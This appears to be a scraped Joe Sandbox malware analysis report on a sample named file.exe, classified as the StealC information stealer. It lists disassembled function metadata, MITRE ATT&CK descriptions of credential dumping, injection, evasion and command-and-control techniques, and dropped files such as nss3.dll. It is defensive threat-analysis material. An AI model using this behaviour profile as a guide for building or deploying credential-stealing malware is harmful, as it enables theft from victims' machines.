Instruction Fuzzy Hash: 7741CFB16042068FEB14CF78CC8076AB3F2BB45309F154939D516DBB80E7B6E906CB92

Function 6C526E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C526EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C526EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526F5C

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction ID: 6f0616922bf985cbdaef5760aa0a2ec8f1e2adce547093519c776bc23b650702
Opcode Fuzzy Hash: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction Fuzzy Hash: 2C31F671A1060A8FDB14CF2CCD806AE73E9EB84304F50853DD41AD7AA5EF35EA59C791

Function 6C53B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4E0A4D), ref: 6C53B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4E0A4D), ref: 6C53B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4E0A4D), ref: 6C53B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4E0A4D), ref: 6C53B67F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction ID: 5c98e569e2e331a3438c36cea54544853a20fa7e46cb472cad7acd8b390049fc
Opcode Fuzzy Hash: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction Fuzzy Hash: 4431E371A016268FDB10DF58CC4465ABBB5EF84314F5A8A29C80A9B712FB31E915CBA0

Function 6C50F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F668

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7f375c52c7bad776a1a447baf0edb01f9523413923cff892bafb91127bb4ef9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8D311E71B00614AFC724CF59DCC0A9E77B6EBC4358B148A39EA498BB05D771F9448B98

Function 6C5226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226C1
free.MOZGLUE(?), ref: 6C5226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226FF
free.MOZGLUE ref: 6C52270D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction ID: ae8a7cc03fc913955dccf943857efba5ade15b964008dcf5c2329b9a17e67816
Opcode Fuzzy Hash: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction Fuzzy Hash: C1F0F4B77012005BE7009B18DC88E4BB3E9EF45368B550035EA1AC3B02E736F919C6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFIIIIJKFCAAECAKFIEH

C:\ProgramData\BFBAAFHDHCBGCAKFHDAK

C:\ProgramData\GIJEBKEC

C:\ProgramData\IDBKKKKK

C:\ProgramData\IEHJDGIDBAAFIDGCGCAK

C:\ProgramData\JJECFIECBGDGCAAAEHIEGDGCBG

C:\ProgramData\KKKJEHCGCGDAAAKFHJKJJJDHDH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre